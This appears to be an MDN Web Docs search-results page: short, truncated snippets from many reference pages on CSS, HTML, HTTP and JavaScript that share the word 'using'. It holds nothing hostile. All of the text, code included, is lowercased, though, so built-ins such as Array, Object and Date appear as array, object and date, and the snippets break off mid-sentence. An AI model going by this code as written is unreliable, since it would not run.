... if one filter is none, it is replaced with the filter functions list of the other one using the filter function default values, then all filter functions are interpolated according to their specific rules.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples applying filter functions examples of using the predefined functions are shown below.
... .mydiv { filter: grayscale(50%); } /* gray all images by 50% and blur by 10px */ img { filter: grayscale(0.5) blur(10px); } applying svg filters examples of using the url function with an svg resource are as follows: .target { filter: url(#c1); } .mydiv { filter: url(commonfilters.xml#large-blur); } specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
line-break - CSS: Cascading Style Sheets
/* keyword values */ line-break: auto; line-break: loose; line-break: normal; line-break: strict; line-break: anywhere; /* global values */ line-break: inherit; line-break: initial; line-break: unset; syntax values auto break text using the default line break rule.
... loose break text using the least restrictive line break rule.
... normal break text using the most common line break rule.
... strict break text using the most stringent line break rule.
line-height - CSS: Cascading Style Sheets
if the page is zoomed to increase the text size, using a unitless value ensures that the line height will scale proportionately.
... basic example /* all rules below have the same resultant line height */ div { line-height: 1.2; font-size: 10pt; } /* number/unitless */ div { line-height: 1.2em; font-size: 10pt; } /* length */ div { line-height: 120%; font-size: 10pt; } /* percentage */ div { font: 10pt/1.2 georgia,"bitstream charter",serif; } /* font shorthand */ it is often more convenient to set line-height by using the font shorthand as shown above, but this requires the font-family property to be specified as well.
... html <div class="box green"> <h1>avoid unexpected results by using unitless line-height.</h1> length and percentage line-heights have poor inheritance behavior ...
... </div> <div class="box red"> <h1>avoid unexpected results by using unitless line-height.</h1> length and percentage line-heights have poor inheritance behavior ...
min() - CSS: Cascading Style Sheets
WebCSSmin
the expressions can be math expressions (using arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>).
...the expressions are full math expressions, so you can use direct addition, subtraction, multiplication and division without using the calc() function itself.
... the expression can be values combining the addition ( + ), subtraction ( - ), multiplication ( * ) and division ( / ) operators, using standard operator precedence rules.
... formal syntax min( <calc-sum># )where <calc-sum> = <calc-product> [ [ '+' | '-' ] <calc-product> ]*where <calc-product> = <calc-value> [ '*' <calc-value> | '/' <number> ]*where <calc-value> = <number> | <dimension> | <percentage> | ( <calc-sum> ) accessibility concerns when using min() to set a maximum font size, ensure that the font can still be scaled at least 200% for readability (without assistive technology like a zoom function).
Overview of events and handlers - Developer guides
the pattern is implemented by defining a javascript function which takes as an argument the data structure which was agreed upon, and registering the function using the name string with the object which will emit the event.
...this pattern can easily be followed using completely custom code, as explained in the article on custom events.
... modern web browsers follow the event pattern using a standardized approach.
..."eventprototype" : "objectprototype"; alert("we got a click event at " + ev.timestamp + " with an argument object derived from: " + objkind ); }; and second register our function with the the button object, either on the scripting side using the dom (document object model) representation of the html page: var buttondomelement = document.queryselector('#buttonone'); buttondomelement.addeventlistener('click', example_click_handler); or within the html page by adding the function as the value of the 'onclick' attribute, although this second approach is usually only used in very simple web pages.
Introduction to HTML5 - Developer guides
in previous versions of html, it was done using a very complex <meta> element.
...also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it simplifies character handling in documents using different scripts.
... note that html5 restricts character sets to those compatible with ascii and using at least 8 bits.
... using the new html5 parser the parsing rules of html5, which analyze the meaning of mark-up, have been more precisely defined in html5.
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
usage notes typical use cases it's certainly not required that all abbreviations be marked up using <abbr>.
... to define an abbreviation which may be unfamiliar to the reader, present the term using <abbr> and either a title attribute or inline text providing the definition.
... html <p>using <abbr>html</abbr> is fun and easy!</p> result styling abbreviations you can use css to set a custom style to be used for abbreviations, as seen in this simple example.
... html <p>using <abbr>css</abbr>, you can style your abbreviations!</p> css abbr { font-variant: all-small-caps; } result providing an expansion adding a title attribute lets you provide an expansion or definition for the abbreviation or acronym.
<font> - HTML: Hypertext Markup Language
WebHTMLElementfont
for any new web development, styling should be written using css only.
... the former behavior of the <font> element can be achieved, and even better controlled using the css fonts css properties.
... color this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format.
...it can be defined using a relative value, like +2 or -3, which set it relative to the value of the size attribute of the <basefont> element, or relative to 3, the default value, if none does exist.
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
<input type="button" value="click me"> if you don't specify a value, you get an empty button: <input type="button"> using buttons <input type="button"> elements have no default behavior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset forms, respectively).
... adding keyboard shortcuts to buttons keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard.
...in this example our button starts off enabled, but if you press it, it is disabled using button.disabled = true.
... examples the below example shows a very simple drawing app created using a <canvas> element and some simple css and javascript (we'll hide the css for brevity).
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
when using <link> to establish a favicon for a site, and your site uses a content security policy (csp) to enhance its security, the policy applies to the favicon.
...priority hints are delegated using the values: auto: indicates no preference.
...incorrectly using it may cause the stylesheet to be ignored.
... <link href="default.css" rel="stylesheet" title="default style"> <link href="fancy.css" rel="alternate stylesheet" title="fancy"> <link href="basic.css" rel="alternate stylesheet" title="basic"> providing icons for different usage contexts you can include links to several different icons on the same page, and the browser will choose which one works best for its particular context using the rel and sizes values as hints.
<sup>: The Superscript element - HTML: Hypertext Markup Language
WebHTMLElementsup
superscripts are usually rendered with a raised baseline using smaller text.
... for example, to style the wordmark of a business or product which uses a raised baseline should be done using css (most likely vertical-align) rather than <sup>.
... this would be done using, for example, vertical-align: super or, to shift the baseline up 50%, vertical-align: 50%.
...among the most common uses of superior lettering is the presentation of certain abbreviations in french: <p>robert a présenté son rapport à m<sup>lle</sup> bernard.</p> the resulting output: ordinal numbers ordinal numbers, such as "fourth" in english or "quinto" in spanish may be abbreviated using numerals and language-specific text rendered in superscript: <p>the ordinal number "fifth" can be abbreviated in various languages as follows:</p> <ul> <li>english: 5<sup>th</sup></li> <li>french: 5<sup>ème</sup></li> </ul> the output: specifications specification status comment html living standardthe definition of '<sub> and <sup>' in that specification.
<table>: The Table element - HTML: Hypertext Markup Language
WebHTMLElementtable
if the length is defined using a percentage value, the content will be centered and the total vertical space (top and bottom) will represent this value.
... mdn tables for visually impaired users tables with two headers • tables • w3c wai web accessibility tutorials tables with irregular headers • tables • w3c wai web accessibility tutorials h63: using the scope attribute to associate header cells and data cells in data tables | w3c techniques for wcag 2.0 complicated tables assistive technology such as screen readers may have difficulty parsing tables that are so complex that header cells can’t be associated in a strictly horizontal or vertical way.
... ideally, consider alternate ways to present the table's content, including breaking it apart into a collection of smaller, related tables that don't have to rely on using the colspan and rowspan attributes.
... mdn tables for visually impaired users tables with multi-level headers • tables • w3c wai web accessibility tutorials h43: using id and headers attributes to associate data cells with header cells in data tables | techniques for w3c wcag 2.0 specifications specification status comment html living standardthe definition of 'table element' in that specification.
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
the html content template (<template>) element is a mechanism for holding html that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using javascript.
...note that directly using the value of the content could lead to unexpected behavior, see avoiding documentfragment pitfall section below.
... <table id="producttable"> <thead> <tr> <td>upc_code</td> <td>product_name</td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a table into which we will later insert content using javascript code.
... now that the table has been created and the template defined, we use javascript to insert rows into the table, with each row being constructed using the template as its basis.
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementtt
the obsolete html teletype text element (<tt>) creates inline text which is presented using the user agent's default monospace font face.
... if none of the semantic elements are appropriate for your use case (for example, if you simply need to show some content in a non-proportional font), you should consider using the <span> element, styling it as desired using css.
... <p>enter the following at the telnet command prompt: <code>set localecho</code><br /> the telnet client should display: <tt>local echo is on</tt></p> result overriding the default font you can override the browser's default font—if the browser permits you to do so, which it isn't required to do—using css: css tt { font-family: "lucida console", "menlo", "monaco", "courier", monospace; } html <p>enter the following at the telnet command prompt: <code>set localecho</code><br /> the telnet client should display: <tt>local echo is on</tt></p> result usage notes the <tt> element is, by default, rendered using the browser's default non-proportional font.
... you can override this using css by creating a rule using the tt selector, as seen in the example overriding the default font above.
Inline elements - HTML: Hypertext Markup Language
first, some simple css that we'll be using: .highlight { background-color:#ee3; } inline let's look at the following example which demonstrates an inline element: <div>the following span is an <span class="highlight">inline element</span>; its background has been colored to display both the beginning and end of the inline element's influence.</div> in this example, the <div> block-level element contains some text.
...lement, such as <p>: <div>the following paragraph is a <p class="highlight">block-level element;</p> its background has been colored to display both the beginning and end of the block-level element's influence.</div> the css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight { background-color:#ee3; } rendered using the same css as before, we get: see the difference?
... changing element levels you can change the visual presentation of an element using the css display property.
...block elements, on the other hand, typically cause a line break to occur (although, as usual, this can be changed using css).
Microformats - HTML: Hypertext Markup Language
microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than previous approaches of using rdfa and microdata which require learning new attributes.
... the value of each property is defined in html using the class property any element can carry example h-card <p class="h-card"> <img class="u-photo" src="http://example.org/photo.png" alt="" /> <a class="p-name u-url" href="http://example.org">joe bloggs</a> <a class="u-email" href="mailto:joebloggs@example.com">joebloggs@example.com</a>, <span class="p-street-address">17 austerstræti</span> <span class="p-locality">reykjavík</span> ...
...developer</a> on <time class="dt-published" datetime="2013-06-13 12:00:00">13<sup>th</sup> june 2013</time></p> <p class="p-summary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> properties property description p-name entry name/title p-author who wrote the entry, optionally embedded h-card dt-published when the entry was published p-summary short entry summary e-content full content of the entry parsed...
...developer</a> on <time class="dt-published" datetime="2013-06-13 12:00:00">13<sup>th</sup> june 2013</time> </p> <p class="p-summary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> </div> properties property description p-name name of the feed p-author author of the feed, optionally embed an h-card children nested h-entry objects representing the items of the feed h-event the h-event is for events on the web.
HTTP authentication - HTTP
this page is an introduction to the http framework for authentication, and shows how to restrict access to your server using the http "basic" schema.
... see rfc 7616, only md5 hashing is supported in firefox, see bug 472823 for sha encryption support hoba see rfc 7486, section 3, http origin-bound authentication, digital-signature-based mutual see rfc 8120 aws4-hmac-sha256 see aws docs basic authentication scheme the "basic" http authentication scheme is defined in rfc 7617, which transmits credentials as user id/password pairs, encoded using base64.
...you cannot see the actual passwords as they are hashed (using md5-based hashing, in this case).
... location /status { auth_basic "access to the staging site"; auth_basic_user_file /etc/apache2/.htpasswd; } access using credentials in the url many clients also let you avoid the login prompt by using an encoded url containing the username and the password like this: https://username:password@www.example.com/ the use of these urls is deprecated.
Data URLs - HTTP
if omitted, defaults to text/plain;charset=us-ascii if the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type).
... encoding on a unix system base64 encoding of a file or string on linux and mac os x systems can be achieved using the command-line base64 (or, as an alternative, the uuencode utility with -m argument).
... [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the piping (|) character here common problems this section describes problems that commonly occur when creating and using data urls.
...as a url, the data should be formatable with whitespace (linefeed, tab, or spaces), but there are practical issues that arise when using base64 encoding.
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP
the cors request was attempted with the credentials flag set, but the server is configured using the wildcard ("*") as the value of access-control-allow-origin, which doesn't allow the use of credentials.
... if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true.
... if using server-sent events, make sure eventsource.withcredentials is false (it's the default value).
... if using the fetch api, make sure request.credentials is "omit".
Reason: CORS request not HTTP - HTTP
this often occurs if the url specifies a local file, using a file:/// url.
... local file security in firefox 68 when a user opened a page using a file:/// uri in firefox 67 and earlier, the origin of the page was defined as the directory from which the page was opened.
... in response to cve-2019-11730, firefox 68 and later define the origin of a page opened using a file:/// uri as unique.
...this new behavior is enabled by default using the privacy.file_unique_origin preference.
Content Security Policy (CSP) - HTTP
WebHTTPCSP
mitigating packet sniffing attacks in addition to restricting the domains from which content can be loaded, the server can specify which protocols are allowed to be used; for example (and ideally, from a security standpoint), a server can specify that all content must be loaded using https.
... using csp configuring content security policy involves adding the content-security-policy http header to a web page and giving it values to control what resources the user agent is allowed to load for that page.
... writing a policy a policy is described using a series of policy directives, each of which describes the policy for a certain resource type or policy area.
... example 4 a web site administrator for an online banking site wants to ensure that all its content is loaded using tls, in order to prevent attackers from eavesdropping on requests.
HTTP caching - HTTP
WebHTTPCaching
the performance of web sites and applications can be significantly improved by reusing previously fetched resources.
... targets of caching operations http caching is optional, but reusing a cached resource is usually desirable.
... cache-control: max-age=31536000 validation when using the "must-revalidate" directive, the cache must verify the status of the stale resources before using it and expired ones should not be used.
...when using the vary: user-agent header, caching servers should consider the user agent when deciding whether to serve the page from cache.
Configuring servers for Ogg media - HTTP
consider using the preload attribute the html <audio> and <video> elements provide the preload attribute, which tells the browser to attempt to download the entire media when the page loads.
...using preload="metadata" will preload the media file's metadata and possibly the first few frames of video.
... the ogg format doesn't encapsulate the duration of media, so for the progress bar on the video controls to display the duration of the video, gecko needs to determine the length of the media using other means.
... although it's unlikely, it's possible the browser may advertise that it supports http compression (gzip/deflate) using the accept-encoding: gzip,deflate header when requesting media files.
CSP: frame-ancestors - HTTP
the http content-security-policy (csp) frame-ancestors directive specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...sites needing to allow these content types can specify them using the data attribute.
Firefox user agent string reference - HTTP
though fixed in firefox 69, previous 32-bit versions of firefox running on 64-bit processors would report that the system is using a 32-bit cpu.
... the recommended way of sniffing for gecko-based browsers (if you have to sniff for the browser engine instead of using feature detection) is by the presence of the "gecko" and "rv:" strings, since some other browsers include a "like gecko" token.
...some gecko-based browsers may not opt into using this token; for this reason, sniffers should be looking for gecko — not firefox!
... starting in version 6, users can opt into using a geckoview-based focus for android with a hidden preference: it uses a geckoview ua string to advertise gecko compatibility.
Proxy servers and tunneling - HTTP
forward proxies can also be anonymous proxies and allow users to hide their ip address while browsing the web or using other internet services.
...a common way to disclose this information is by using the following http headers: the standardized header: forwarded contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.
...http tunneling is using a protocol of higher level (http) to transport a lower level protocol (tcp).
...this is how a client behind an http proxy can access websites using ssl (i.e.
Control flow and error handling - JavaScript
you can also compound the statements using else if to have multiple conditions tested in sequence, as follows: if (condition_1) { statement_1; } else if (condition_2) { statement_2; } else if (condition_n) { statement_n; } else { statement_last; } in the case of multiple conditions, only the first logical condition which evaluates to true will be executed.
...: console.log('cherries are $3.00 a pound.'); break; case 'mangoes': console.log('mangoes are $0.56 a pound.'); break; case 'papayas': console.log('mangoes and papayas are $2.79 a pound.'); break; default: console.log(`sorry, we are out of ${fruittype}.`); } console.log("is there anything else you'd like?"); exception handling statements you can throw exceptions using the throw statement and handle them using the try...catch statements.
... try { throw 'myexception'; // generates an exception } catch (err) { // statements to handle any exceptions logmyerrors(err); // pass exception object to error handler } best practice: when logging errors to the console inside a catch block, using console.error() rather than console.log() is advised for debugging.
...using finally here ensures that the file is never left open, even if an error occurs.
Groups and ranges - JavaScript
you can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character.
...you can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character.
...matches are accessed using the index of the the result's elements ([1], ..., [n]) or from the predefined regexp object's properties ($1, ..., $9).
... examples counting vowels var aliceexcerpt = "there was a long silence after this, and alice could only hear whispers now and then."; var regexpvowels = /[aeiouy]/g; console.log("number of vowels:", aliceexcerpt.match(regexpvowels).length); // number of vowels: 25 using groups let personlist = `first_name: john, last_name: doe first_name: jane, last_name: smith`; let regexpnames = /first_name: (\w+), last_name: (\w+)/mg; let match = regexpnames.exec(personlist); do { console.log(`hello ${match[1]} ${match[2]}`); } while((match = regexpnames.exec(personlist)) !== null); using named groups let personlist = `first_name: john, last_name: doe first_name: jane...
Unicode property escapes - JavaScript
l the letters of a text let story = "it’s the cheshire cat: now i shall have somebody to talk to."; // most explicit form story.match(/\p{general_category=letter}/gu); // it is not mandatory to use the property name for general categories story.match(/\p{letter}/gu); // this is equivalent (short alias): story.match(/\p{l}/gu); // this is also equivalent (conjunction of all the subcategories using short aliases) story.match(/\p{lu}|\p{ll}|\p{lt}|\p{lm}|\p{lo}/gu); scripts and script extensions some languages use different scripts for their writing system.
... for instance, english and spanish are written using the latin script while arabic and russian are written with other scripts (respectively arabic and cyrillic).
... let mixedcharacters = "aεЛ"; // using the canonical "long" name of the script mixedcharacters.match(/\p{script=latin}/u); // a // using a short alias for the script mixedcharacters.match(/\p{script=greek}/u); // ε // using the short name sc for the script property mixedcharacters.match(/\p{sc=cyrillic}/u); // Л for more details, please refer to the unicode specification and the scripts table in the ecmascript specification.
... // trying to use ranges to avoid \w limitations: const nonenglishtext = "Приключения Алисы в Стране чудес"; const regexpbmpword = /([\u0000-\u0019\u0021-\uffff])+/gu; // bmp goes through u+0000 to u+ffff but space is u+0020 console.table(nonenglishtext.match(regexpbmpword)); // using unicode property escapes instead const regexpupe = /\p{l}+/gu; console.table(nonenglishtext.match(regexpupe)); specifications specification ecmascript (ecma-262)the definition of 'regexp: unicode property escapes' in that specification.
Public class fields - JavaScript
public static fields are declared using the static keyword.
... they are added to the class constructor at the time of class evaluation using object.defineproperty().
...just as in public instance methods, if you're in a subclass you can access the superclass prototype using super.
... class classwithpublicinstancemethod { publicmethod() { return 'hello world' } } const instance = new classwithpublicinstancemethod() console.log(instance.publicmethod()) // expected output: "hello worl​d" public instance methods are added to the class prototype at the time of class evaluation using object.defineproperty().
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
the javascript warning "date.prototype.tolocaleformat is deprecated; consider using intl.datetimeformat instead" occurs when the non-standard date.prototype.tolocaleformat method is used.
... message warning: date.prototype.tolocaleformat is deprecated; consider using intl.datetimeformat instead error type warning.
...märz 2017" alternative standard syntax using the ecmascript intl api the ecma-402 (ecmascript intl api) standard specifies standard objects and methods that enable language sensitive date and time formatting (available in chrome 24+, firefox 29+, ie11+, safari10+).
...mai 2014" alternative standard syntax using date methods the date object offers several methods to build a custom date string.
Arrow function expressions - JavaScript
this code sample using chrome 81 demonstrates that arrow functions allow the creation of global variables in such situations (both for a concise body and for a normal function body): > f1 = x => { y = x; console.log(`x: ${x}, y: ${y}`); return x + 1; } x => { y = x; console.log(`x: ${x}, y: ${y}`); return x + 1; } > y vm51587:1 uncaught referenceerror: y is not defined at <anonymous>:1:1 (anonymous) @ vm51587:1 ...
...arguments[0] is n return f(); } foo(3); // 6 in most cases, using rest parameters is a good alternative to using an arguments object.
... var func = x => x * x; // concise body syntax, implied "return" var func = (x, y) => { return x + y; }; // with block body, explicit "return" needed returning object literals keep in mind that returning object literals using the concise body syntax params => {object:literal} will not work as expected.
... var func = (a, b, c) => 1; // syntaxerror: expected expression, got '=>' however, this can be amended by putting the line break after the arrow or using parentheses/braces as seen below to ensure that the code stays pretty and fluffy.
Method definitions - JavaScript
} } generator methods generator methods can be defined using the shorthand syntax as well.
... // using a named property const obj2 = { g: function* () { let index = 0 while (true) { yield index++ } } }; // the same object using shorthand syntax const obj2 = { * g() { let index = 0 while (true) { yield index++ } } }; const it = obj2.g() console.log(it.next().value) // 0 console.log(it.next().value) // 1 async methods async methods can also be defined using the shorth...
... // using a named property const obj3 = { f: async function () { await some_promise } } // the same object using shorthand syntax const obj3 = { async f() { await some_promise } } async generator methods generator methods can also be async.
... const obj4 = { f: async function* () { yield 1 yield 2 yield 3 } }; // the same object using shorthand syntax const obj4 = { async* f() { yield 1 yield 2 yield 3 } } method definitions are not constructable methods cannot be constructors!
The arguments object - JavaScript
you can refer to a function's arguments inside that function by using its arguments object.
... however, it can be converted to a real array: var args = array.prototype.slice.call(arguments); // using an array literal is shorter than above but allocates an empty array var args = [].slice.call(arguments); as you can do with any array-like object, you can use es2015's array.from() method or spread syntax to convert arguments to a real array: let args = array.from(arguments); // or let args = [...arguments]; the arguments object is useful for functions called with more arguments than they ar...
... using typeof with arguments the typeof operator returns 'object' when used with arguments console.log(typeof arguments); // 'object' the type of individual arguments can be determined by indexing arguments: console.log(typeof arguments[0]); // returns the type of the first argument properties arguments.callee reference to the currently executing function that the arguments belong to.
...it returns a string list using each argument in the list: // returns "red, orange, blue" myconcat(', ', 'red', 'orange', 'blue'); // returns "elephant; giraffe; lion; cheetah" myconcat('; ', 'elephant', 'giraffe', 'lion', 'cheetah'); // returns "sage.
getter - JavaScript
deleting a getter using the delete operator if you want to remove the getter, you can just delete it: delete obj.latest; defining a getter on existing objects using defineproperty to append a getter to an existing object later at any time, use object.defineproperty().
... const o = {a: 0}; object.defineproperty(o, 'b', { get: function() { return this.a + 1; } }); console.log(o.b) // runs the getter, which yields a + 1 (which is 1) using a computed property name const expr = 'foo'; const obj = { get [expr]() { return 'bar'; } }; console.log(obj.foo); // "bar" smart / self-overwriting / lazy getters getters give you a way to define a property of an object, but they do not calculate the property's value until it is accessed.
...defineproperty while using the get keyword and object.defineproperty() have similar results, there is a subtle difference between the two when used on classes.
... when using get the property will be defined on the instance's prototype, while using object.defineproperty() the property will be defined on the instance it is applied to.
Rest parameters - JavaScript
from arguments to an array rest parameters have been introduced to reduce the boilerplate code that was induced by the arguments // before rest parameters, "arguments" could be converted to a normal array using: function f(a, b) { let normalarray = array.prototype.slice.call(arguments) // -- or -- let normalarray = [].slice.call(arguments) // -- or -- let normalarray = array.from(arguments) let first = normalarray.shift() // ok, gives the first argument let first = arguments.shift() // error (arguments is not a normal array) } // now, you can easily gain access to a normal array us...
...ing a rest parameter function f(...args) { let normalarray = args let first = normalarray.shift() // ok, gives the first argument } examples using rest parameters in this example, the first argument is mapped to a and the second to b, so these named arguments are used as normal.
... // using the same function definition from example above myfun("one", "two", "three") // a, one // b, two // manymoreargs, [three] below, the third argument isn't provided, but manymoreargs is still an array (albeit an empty one).
... // using the same function definition from example above myfun("one", "two") // a, one // b, two // manymoreargs, [] argument length since theargs is an array, a count of its elements is given by the length property: function fun1(...theargs) { console.log(theargs.length) } fun1() // 0 fun1(5) // 1 fun1(5, 6, 7) // 3 ordinary parameter and rest parameters in the next example, a rest parameter is used to collect all parameters after the first into an array.
Array.prototype.reduce() - JavaScript
educe(function (acc, obj) { let key = obj[property] if (!acc[key]) { acc[key] = [] } acc[key].push(obj) return acc }, {}) } let groupedpeople = groupby(people, 'age') // groupedpeople is: // { // 20: [ // { name: 'max', age: 20 }, // { name: 'jane', age: 20 } // ], // 21: [{ name: 'alice', age: 21 }] // } bonding arrays contained in an array of objects using the spread operator and initialvalue // friends - an array of objects // where object field "books" is a list of favorite books let friends = [{ name: 'anna', books: ['bible', 'harry potter'], age: 21 }, { name: 'bob', books: ['war and peace', 'romeo and juliet'], age: 26 }, { name: 'alice', books: ['the lord of the rings', 'the shining'], age: 18 }] // allbooks - list which w...
...riends' books + // additional list contained in initialvalue let allbooks = friends.reduce(function(accumulator, currentvalue) { return [...accumulator, ...currentvalue.books] }, ['alphabet']) // allbooks = [ // 'alphabet', 'bible', 'harry potter', 'war and peace', // 'romeo and juliet', 'the lord of the rings', // 'the shining' // ] remove duplicate items in an array note: if you are using an environment compatible with set and array.from(), you could use let orderedarray = array.from(new set(myarray)) to get an array where duplicate items have been removed.
... let myarray = ['a', 'b', 'a', 'b', 'c', 'e', 'e', 'c', 'd', 'd', 'd', 'd'] let myorderedarray = myarray.reduce(function (accumulator, currentvalue) { if (accumulator.indexof(currentvalue) === -1) { accumulator.push(currentvalue) } return accumulator }, []) console.log(myorderedarray) replace .filter().map() with .reduce() using array.filter() then array.map() traverses the array twice, but you can achieve the same effect while traversing only once with array.reduce(), thereby being more efficient.
...unctions.reduce( (acc, fn) => fn(acc), input ) // composed functions for multiplication of specific values const multiply6 = pipe(double, triple) const multiply9 = pipe(triple, triple) const multiply16 = pipe(quadruple, quadruple) const multiply24 = pipe(double, triple, quadruple) // usage multiply6(6) // 36 multiply9(9) // 81 multiply16(16) // 256 multiply24(10) // 240 write map using reduce if (!array.prototype.mapusingreduce) { array.prototype.mapusingreduce = function(callback, thisarg) { return this.reduce(function(mappedarray, currentvalue, index, array) { mappedarray[index] = callback.call(thisarg, currentvalue, index, array) return mappedarray }, []) } } [1, 2, , 3].mapusingreduce( (currentvalue, index, array) => currentvalue + index + array.
Array.prototype.slice() - JavaScript
examples return a portion of an existing array let fruits = ['banana', 'orange', 'lemon', 'apple', 'mango'] let citrus = fruits.slice(1, 3) // fruits contains ['banana', 'orange', 'lemon', 'apple', 'mango'] // citrus contains ['orange','lemon'] using slice> in the following example, slice creates a new array, newcar, from mycar.
... // using slice, create newcar from mycar.
... function list() { return array.prototype.slice.call(arguments) } let list1 = list(1, 2, 3) // [1, 2, 3] binding can be done with the call() method of function.prototype and it can also be reduced using [].slice.call(arguments) instead of array.prototype.slice.call.
... anyway, it can be simplified using bind.
BigInt.prototype.toLocaleString() - JavaScript
examples using tolocalestring in basic use without specifying a locale, a formatted string in the default locale and with default options is returned.
...english locale using locales this example shows some of the variations in localized number formats.
... in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var bigint = 123456789123456789n; // german uses period for thousands console.log(bigint.tolocalestring('de-de')); // → 123.456.789.123.456.789 // arabic in most arabic speaking countries uses eastern arabic digits console.log(bigint.tolocalestring('ar-eg')); // → ١٢٣٬٤٥٦٬٧٨٩٬١٢٣٬٤٥٦٬٧٨٩ // india uses thousands/lakh/crore separators console.log(bigint.tolocalestring('en-in')); // → 1,23,45,67,89,12,34,56,789 // the nu extension key requests a numbering system, e.g.
... chinese decimal console.log(bigint.tolocalestring('zh-hans-cn-u-nu-hanidec')); // → 一二三,四五六,七八九,一二三,四五六,七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(bigint.tolocalestring(['ban', 'id'])); // → 123.456.789.123.456.789 using options the results provided by tolocalestring can be customized using the options argument: var bigint = 123456789123456789n; // request a currency format console.log(bigint.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456.789.123.456.789,00 € // the japanese yen doesn't use a minor unit console.log(bigint.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,456,789,12...
Date.prototype.toLocaleDateString() - JavaScript
examples using tolocaledatestring() in basic use without specifying a locale, a formatted string in the default locale and with default options is returned.
...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaledatestringsupportslocales() { try { new date().tolocaledatestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales this example shows some of the variations in localized date formats.
... in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses month-day-year order console.log(date.tolocaledatestring('en-us')); // → "12/19/2012" // british english uses day-month-year order console.log(date.tolocaledatestring('en-gb')); // → "20/12/2012" // korean uses year-month-day order console.log(date.tolocaledatestring('ko-kr')); // → "2012.
...for japanese, applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(date.tolocaledatestring('ja-jp-u-ca-japanese')); // → "24/12/20" // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(date.tolocaledatestring(['ban', 'id'])); // → "20/12/2012" using options the results provided by tolocaledatestring() can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // request a weekday along with a long date var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; console.log(date.tolocaledatestring('de-de', options)); // → "donnerstag, 20.
Date.prototype.toLocaleString() - JavaScript
examples using tolocalestring() in basic use without specifying a locale, a formatted string in the default locale and with default options is returned.
...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocalestringsupportslocales() { try { new date().tolocalestring('i'); } catch (e) { return e instanceof rangeerror; } return false; } using locales this example shows some of the variations in localized date and time formats.
... in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: let date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses month-day-year order and 12-hour time with am/pm console.log(date.tolocalestring('en-us')); // → "12/19/2012, 7:00:00 pm" // british english uses day-month-year order and 24-hour time without am/pm console.log(date.tolocalestring('en-gb')); // → "20/12/2012 03:00:00" // korean uses year-month-day order and 12-hour time with am/pm console.log(date.tolocalestring('ko-kr')); // → "2012.
..., applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(date.tolocalestring('ja-jp-u-ca-japanese')); // → "24/12/20 12:00:00" // when requesting a language that may not be supported, such as // balinese, include a fallback language (in this case, indonesian) console.log(date.tolocalestring(['ban', 'id'])); // → "20/12/2012 11.00.00" using options the results provided by tolocalestring() can be customized using the options argument: let date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // request a weekday along with a long date let options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; console.log(date.tolocalestring('de-de', options)); // → "donnerstag, 20.
Date.prototype.toLocaleTimeString() - JavaScript
examples using tolocaletimestring() in basic use without specifying a locale, a formatted string in the default locale and with default options is returned.
